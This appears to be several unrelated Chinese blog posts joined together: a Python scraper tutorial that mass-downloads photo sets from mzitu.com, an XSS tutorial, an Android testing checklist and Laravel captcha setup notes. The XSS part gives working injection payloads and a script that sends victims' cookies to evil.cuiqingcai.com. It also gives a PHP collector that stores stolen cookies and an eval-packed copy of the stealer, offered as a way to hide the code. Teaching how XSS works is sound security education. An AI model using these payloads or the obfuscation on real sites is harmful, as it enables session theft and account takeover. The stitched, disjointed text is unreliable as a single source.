PS: 如果对 requests.get(all_url, headers=headers)感到不解的各位,请务必去再看一遍官方文档哦(解释得很清楚呢) 你在你的 IDE 中运行的时候会打印出下面的内容: QQ截图20161024203912 第一段部分完成啦!!是不感觉超简单!!!!看懂没?没看懂继续瞅瞅、对于看懂的各位小哥儿(妹儿)我只想说··· 小哥儿(妹儿)!你老牛逼了!! 没看懂?报错?没关系!看见屏幕右边那个群号没?加它!热心的群友会为你耐心解答滴············ 好啦!第一部分获取网页的部分完成啦!我们来开始第二部分提取我们想要的内容吧!! 在 Chrome 中打开我们第一部分请求的网址:http://www.mzitu.com/all 、 按下 F12 调出 Chrome 的开发者调试工具(不熟练的同学一定要去了解一下哦!爬虫中绝大部分工作要靠这个来完成呢!是必备技能哦!) 是这样: QQ截图20161024205256 看见图中那句话没?没看见?仔细看看那可是我们必须要使用的工具哦!!好啦下面我们看看使用方法 QQ图片20161025222942 好啦、我们就是通过这种方法来找到我们需要的数据在那一个标签里面的、方便后面提取出来啦!(实例很简陋 看不懂的童鞋百度一下啦!教程很多的) 你会发现这个页面并没有我们需要的图片地址啊!没有那么怎么办呢?上面那张超级简陋的流程图看了嘛?没看?赶快去瞅瞅·· 你就知道我们该干啥啦! 嗯,我们需要找到图片地址所在的页面! QQ截图20161025224053 观察一下网页你会发现图片页面的地址全部都在

  • ...
  • 标签中、(讲真!这么良心,还这么有规律的网页不多了啊!)不信啊?你展开
  • 标签瞅瞅就知道啦 QQ截图20161025224601 点开
  • 标签你会发现图片页面的地址标签的 href 属性中、主题标签中(搞不清楚的这两个的区别的同学、去了解一下 html 的基础啦!) 实现逻辑就是:先找到页面中的全部
  • 标签、然后提取出中间标签的 href 属性值与标签的类容,前者我们用来继续请求 html 看看会不会有我们需要的图片下载地址,后者我们存储的时候给文件夹命名使用。 可能有小哥儿(妹儿)会问,为什么不直接查找标签? 你观察一下网页就知道呐!还有其他地方使用了标签,如果直接查找标签就会多出很多我们不需要的东西,也不方便我们提取想要的东西,先查找
  • 标签就是限制一下标签的范围啦! 通过上面的方法、知道了需要的数据的位置!该我们的beautifulsoup来大展身手啦!!!加上上面的一段代码现在应该是这样的啦!看不懂?没关系 看注释 看注释。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os



    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    for li in li_list: ##这个不解释了。看不懂的小哥儿回去瞅瞅基础教程
    print(li) ##同上

    运行一下试试! QQ截图20161028113340 诶!!!不对啊!!抓到了我们不需要的东西啊!!!这可怎么办啊!! 别急 别急!我们再去看看网页的 F12 瞅瞅。 QQ截图20161028113957 找到啦!原来有其他地方有

  • 标签、观察不仔细啦!现在我们怎么办? 我们再去 F12 瞅瞅! QQ截图20161028114348 哈哈!这就简单了,我们推翻上面的思路 现在我们先找到
  • 标签呢!! 你仔细瞅瞅网页!在
    这个模块里面的
    标签的全是我们需要的东西,就不需要
  • 标签来限制提取范围啦!所以就直接扔掉了不用了。也方便写代码啊。 现在我们改改上面的代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    for a in all_a:
    print(a)

    PS: ‘find’ 只查找给定的标签一次,就算后面还有一样的标签也不会提取出来哦! 而 ‘find_all’ 是在页面中找出所有给定的标签!有十个给定的标签就返回十个(返回的是个 list 哦!!),想要了解得更详细,就是看看官方文档吧! 来看看运行结果! QQ截图20161028150438 哇哦!!全是我们需要的类容诶!什么?你的和这个不一样?或者报错了?回头看看 你做的和我有什么不一样······ 实在不行,群里求助吧! 好啦!现在我们该来提取我们想要的内容了!又该我们 BeautifulSoup 大展身手了。 我们需要提取出标签的 href 属性和文本。怎么做呢?看代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    print(title, href)

    就多了两行!很方便吧!!为什么这么写?自己去看官方文档啦!(我要全解释了,估计有些小哥儿官方文档都不会去看。这样很不好诶。) 来来!看看结果怎么样 我们来打印一下看看! QQ截图20161028152315 哈哈 果然是我们想要的内容!我们已经找向目标前进了一半了!好啦前面已经把怎么实现的方法讲清楚了哦(如果你觉得什么地方有问题或者不清楚,在群里说说 我好改改)下面就要开始加快节奏了!!(篇幅长了 会被人骂的!) 上面我们找到了 图片的标题(暂时不管,这是后面用来创建文件夹的)和 图片页面的地址(这是我们这一步需要做的),需要做什么请参考最上面那个超简陋的流程图。 先查看一下图片页面有什么东西 你会发现一个页面只有一张图片啊!想要下载一套啊! 你点一下面的 1 、2、3、4········ 你会发现地址栏里面的 URL 在变化啊!这就是我们的入手的地方了! QQ截图20161028164035 页码在标签中,我们只需要获取最后一个页面的页码, 从 1 开始历遍,和我们上面获取的 URL 拼接在一起就是每张图片的页面地址啦! 在页面的源代码搜一下标签 [![QQ截图20161028191747](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747-1024x554.png)](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747.png) 可以发现最后一个页面的标签是第二十一个标签,因为在 html 中标签是成对的,所以我需要查找的是第十一个标签(BeautifulSoup 是以开始的标签定位,而不是结尾的。开始的标签是这样<>;结束的标签是这样) 废话不多说上代码! PS:下面的代码我已经把注释掉的删掉了,所以看起来和上面的不太一样。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    print(page_url) ##这个page_url就是每张图片的页面地址啦!但还不是实际地址!

    好啦!运行一下试试!就是下面这样: QQ截图20161028194230 完美!!每个页面的地址都出来啦!!! 下面开始找图片的实际地址啦! 随意打开上面的地址地用 F12 调试工具试试! QQ截图20161028195338 会发现我们需要的地址在

    中的标签的 src 属性中。是不是很眼熟啊!知道怎么写了吧?下面上代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    print(img_url)

    运行一下 QQ截图20161028200330 完美!就是我们想要的东西,下面开始保存了哦!哈哈!妹子马上就可以到你碗里去了! 首先我们要给每套图建一个文件夹,然后将下载的图片以 URL 的 xxxxx.jpg 中的 xxxxx 命名保存在这个文件夹里面。直接上代码了!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    path = str(title).strip() ##去掉空格
    os.makedirs(os.path.join("D:\mzitu", path)) ##创建一个存放套图的文件夹
    os.chdir("D:\mzitu\\"+path) ##切换到上面创建的文件夹
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    name = img_url[-9:-4] ##取URL 倒数第四至第九位 做图片的名字
    img = requests.get(img_url, headers=headers)
    f = open(name+'.jpg', 'ab')##写入多媒体文件必须要 b 这个参数!!必须要!!
    f.write(img.content) ##多媒体文件要是用conctent哦!
    f.close()

    好了!!来运行一下 QQ截图20161028205004 哈哈哈完美!!!以上完毕!下面我们来整理一下代码,弄个函数什么的提示下逼格!加点提示什么的 首先我们上面 requests 一共使用了三次,我们写一个函数复用 (别怕!一点都不难)

    1
    2
    3
    4
    def request(url):
    headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}
    content = requests.get(url, headers=headers)
    return content

    当调用 request 的时候会获取 URL 地址的网页然后返回获取到的 response (response 是啥? 你理解成请求网页地址返回的源码就好了! 注意:如果请求的是多媒体文件的话 response 返回的是二进制文件哦!) 哈哈!第一个就写好啦,简单吧! 第二个是创建文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    def mkdir(self, path):
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    调用 mkdir 这个函数时,会在 D:\mzitu 文件下创建一个 path 这个参数的文件夹(是参数 不是 path 哦!就是你调用的时候传递什么参数给这个函数 就创建什么文件夹!这个函数可以存着,下载东西到本地 都可以用),另外一个好处就是在文件夹已经存在的情况下不会报错退出程序哦! 不使用就会诶! 好啦 剩下的我就一股脑的写出来了! PS: 感谢Lucibriel的提醒!(因为我的程序就在 D 盘,所以疏忽了 程序没在 D 盘 os.chdir() 不能切换目录的问题、已经就改过来了;非常抱歉。)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    import requests
    from bs4 import BeautifulSoup
    import os

    class mzitu():

    def __init__(self):
    self.headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"}
    def all_url(self, url):
    html = self.request(url)##调用request函数把套图地址传进去会返回给我们一个response
    all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text()
    print(u'开始保存:', title) ##加点提示不然太枯燥了
    path = str(title).replace("?", '_') ##我注意到有个标题带有 ? 这个符号Windows系统是不能创建文件夹的所以要替换掉
    self.mkdir(path) ##调用mkdir函数创建文件夹!这儿path代表的是标题title哦!!!!!不要糊涂了哦!
    href = a['href']
    self.html(href) ##调用html函数把href参数传递过去!href是啥还记的吧? 就是套图的地址哦!!不要迷糊了哦!

    def html(self, href): ##这个函数是处理套图地址获得图片的页面地址
    html = self.request(href)
    self.headers['referer'] = href
    max_span = BeautifulSoup(html.text, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text()
    for page in range(1, int(max_span) + 1):
    page_url = href + '/' + str(page)
    self.img(page_url) ##调用img函数

    def img(self, page_url): ##这个函数处理图片页面地址获得图片的实际地址
    img_html = self.request(page_url)
    img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
    self.save(img_url)

    def save(self, img_url): ##这个函数保存图片
    name = img_url[-9:-4]
    img = self.request(img_url)
    f = open(name + '.jpg', 'ab')
    f.write(img.content)
    f.close()

    def mkdir(self, path): ##这个函数创建文件夹
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    os.chdir(os.path.join("D:\mzitu", path)) ##切换到目录
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    def request(self, url): ##这个函数获取网页的response 然后返回
    content = requests.get(url, headers=self.headers)
    return content

    Mzitu = mzitu() ##实例化
    Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

    QQ截图20161028215007 完美!!好啦!结束了! 如果大家觉得还能看懂、还行的话 我后面在写点儿其他的。 给大家看看我的成果 QQ截图20161028220006 最后感谢 mzitu.com 的站长。 后续几篇:

    小白爬虫第二弹之健壮的小爬虫

    小白爬虫第三弹之去重去重

    小白爬虫第四弹之爬虫快跑(多进程+多线程)

    小白进阶之 Scrapy 第一篇

    小白进阶之 Scrapy 第二篇(登录篇)

    Scrapy 分布式的前篇–让 redis 和 MongoDB 安全点

    小白进阶之 Scrapy 第三篇基于 Scrapy-Redis 的分布式以及 cookies 池

  • JavaScript

    什么是XSS

    XSS 意为跨站脚本攻击(Cross Site Scripting),缩写应该是CSS,但是已经有了一个层叠样式表(Cascading Style Sheets),所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

    XSS实例

    最简单的形式就是从URL中直接插入恶意的 JavaScript 代码,最简单的实例如下:

    1
    2
    3
    4
    <?php

    $input = $_GET['info'];
    echo $input;

    服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>TEST XSS</title>
    </head>
    <body>
    <script>
    function test() {
    var text = document.getElementById('text').value;
    var new_text = '<a href="' + text + '">test</a>';
    console.log(new_text);
    document.getElementById('content').innerHTML = new_text;
    }
    </script>
    <div id="content"></div>
    <input type="text" id="text" value="">
    <input type="button" id="button" value="提交" onclick="test()">
    </body>
    </html>

    现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入

    1
    javascript:void(0)" onclick=alert('ssss') "

    提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。 当然你也可以插入一张图片,用 onerror 属性定义方法

    1
    "><img src="#" onerror=alert(/xss/)><meta class="

    也可以达到同样的效果。 那么接下来来了,我们可以利用这个漏洞来盗取Cookie。 盗取Cookie可以这样,在本地执行一个JavaScript脚本,然后请求恶意网址,恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie,这样 cookie 就保存在恶意网站上了。 这样的话,我们可以写一个脚本。

    1
    2
    3
    4
    var img = document.createElement('img');
    img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
    img.style = 'display:none';
    document.body.appendChild(img);

    创建一张图片,然后图片的链接是一个恶意网址加当前的cookie,然后添加到网页里。这样,新增加的一个网页便会请求这个src,实现访问。 然后还是原来的实例,我们想在代码里执行这段JavaScript,那怎么办呢?直接创建一个script节点引用? 先把这段js保存成 http://evil.cuiqingcai.com/cookie.js,试一下。 输入

    1
    javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

    测试之后,发现并不能行。原因是插入script标签后,并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入

    1
    javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

    这里创建了一张图片,然后利用 onerror 方法插入了一个 script 标签,引入这个JS文件,这样就可以正常加载了。 嗯,那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。 那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php 

    session_start();

    $_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

    $_SESSION['attempt'] += 1;

    if ($_SESSION['attempt'] >= 100) {
    die("Too Frequent");
    }

    $mysqli = new mysqli("localhost", "root", "", "evil");
    if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
    }

    $url = $_GET['url'];
    $content = $_GET['content'];

    $time = date("Y-m-d H:i:s", time());

    $items = explode(";", $content);

    $js = '';

    foreach ($items as $item) {
    $js .= ("document.cookie='".trim($item)."';");
    }

    if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param("ssss", $url, $content, $time, $js);
    $result = $stmt->execute();
    if ($result) {
    echo "Collected Your Cookie <br>" ;
    }
    }

    echo 'url:', $url, '<br>', 'content:', $content;

    其实就是获取了url,还有cookie内容,然后插入了数据库保存起来。 这样,每成功一个XSS,就可以成功捕获到某个网站的Cookie。

    混淆加密

    其实将刚才的cookie.js贴到任意的网站都有可能引起XSS,比如CSDN。 为了防止JavaScript被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取Cookie了。

    1
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

    Other

    1、冒烟测试

    使用的工具

    Monkey

    目标

    (1) 编写adb.exe的Monkey命令。 (2) 通过logcat定位问题,保证软件的健壮性。

    1.1 内存泄漏测试

    关注app的启动时间,页面加载时间,主要功能占用的CPU,内存,流量,与同类产品比较是否有优势。工具:DDMS

    1.2 联机调试测试

    连接真机进入调试模式,测试业务流;通过Logcat记录个操作,将所有错误定位代码。

    1.3 外网测试

    要覆盖到WIFI\2G\3G、net\wap 、电信\移动\联网,所有组合进行测试

    2、安装、卸载测试

    2.1 安装卸载

    app安装、卸载、启动、运行、清除缓存/数据运行看看是否正常

    2.2 平台支持

    是否支持豌豆荚、91等主流辅助工具,及是否和第三方软件兼容。

    3、在线升级测试

    3.1 在线升级安装及使用测试

    (1)验证数字签名; (2)升级后是否可以正常使用; (3)在线夸版本升级。

    4、业务功能测试

    4.1 业务逻辑测试

    运行app时,是否可以接电话,发短信,锁屏,充电等功能

    4.2 功能点测试

    检查功能点是否正常,是否满足需求文档

    4.3 关联性测试

    安装app后,是否和pc机连接,交互正常

    5、稳定性及异常性测试

    5.1 交互性测试

    手机被多种打扰,例如,打开微信,聊QQ,听音乐等,app是否运行正常;待机,插拔数据线等操作

    5.2 异常性测试

    断点、断网异常情况,是否稳定

    6、性能测试

    6.1 基准性能测试

    主要是写脚本,是否可以进行压力测试;在不同网络的情况下,运行速度变化情况。

    6.2 大数据量测试

    保证手机更新大数据量程序成功率

    7、界面易用性测试

    7.1 界面与交互性测试

    符合安卓交互规范;用户体验良好;使用方便。快捷

    7.2 可用性测试

    可用性强,操作简单;使用操作错误率低;完成任务使用时间短

    8、自动化测试

    CTS工具,主要是基于Androidinstrumentation和JUnit测试原理推单元测试用例; Monkey用来对UI进行压力测试,伪随机的模拟用户的按键输入,触摸屏输入,手势输入等; ASE工具,是调用Android的功能,从而定制一些测试,比如打电话,发短信,浏览网页等; Robotium工具,提供了模仿用户操作行为的API,比如在某个控件上点击,输入Text等等; MonkeyRunner工具,是调用一个Python脚本去安装一个Android应用程序或测试包,运行它,向它发送模拟按键,截取界面图片等 QQ交流群:369353583

    PHP

    简述

    在网站开发中使用频率最高的工具之一便是验证码,验证码在此也是多种多样,不过简单的图片验证码已经可以被机器识别,极验验证码提供了一个安全可靠的滑动验证码体系,让网站开发更加安全。 先感受一下这种验证码的魅力 极验 接入极验验证码的过程并没有想象中的那么简单,如果想在Laravel5中使用,可以使用Laravel5的极验验证码包 LaravelGeetest 支持 Laravel 5.0 及以上版本。 地址: https://github.com/Germey/LaravelGeetest 建议阅读原项目的README文件,最新的更新都会在README中说明,而且用法介绍是最全面的。 下面简单介绍一下该工具包的使用。

    注册极验账号

    首先需要到 极验 网站注册账号,然后新建一个应用,获取到 ID 和 KEY,留作备用,后台管理页面如下。

    安装

    在项目地址输入命令

    1
    $ composer require germey/geetest

    就可以完成该包的安装 或者可以在 composer.json 的 require 中添加

    1
    "germey/geetest": "~2.0"

    然后执行

    1
    $ composer update

    同样可以完成该包的安装。

    配置

    注册 ServiceProvider,在 config/app.php 的 providers 中添加

    1
    Germey\Geetest\GeetestServiceProvider::class

    在 aliases 中添加

    1
    'Geetest' => Germey\Geetest\Geetest::class

    然后执行

    1
    $ php artisan vendor:publish

    会生成一个配置文件,config/geetest.php 和视图文件views/vendor/geetest,视图文件中你可以自定义配置,比如修改一下验证失败后的alert函数,修改为你想要的提示toast等。

    使用

    首先把刚才拿到的 ID 和 KEY 配置到 .env 文件中,因为这两个算私密内容,配置到 .env 文件中可以保证安全性。在 .env 中写入如下两行。

    1
    2
    GEETEST_ID=0f1097bef7xxxxxx9afdeced970c63e4
    GEETEST_KEY=c070f0628xxxxxxe68e138b55c56fb3b

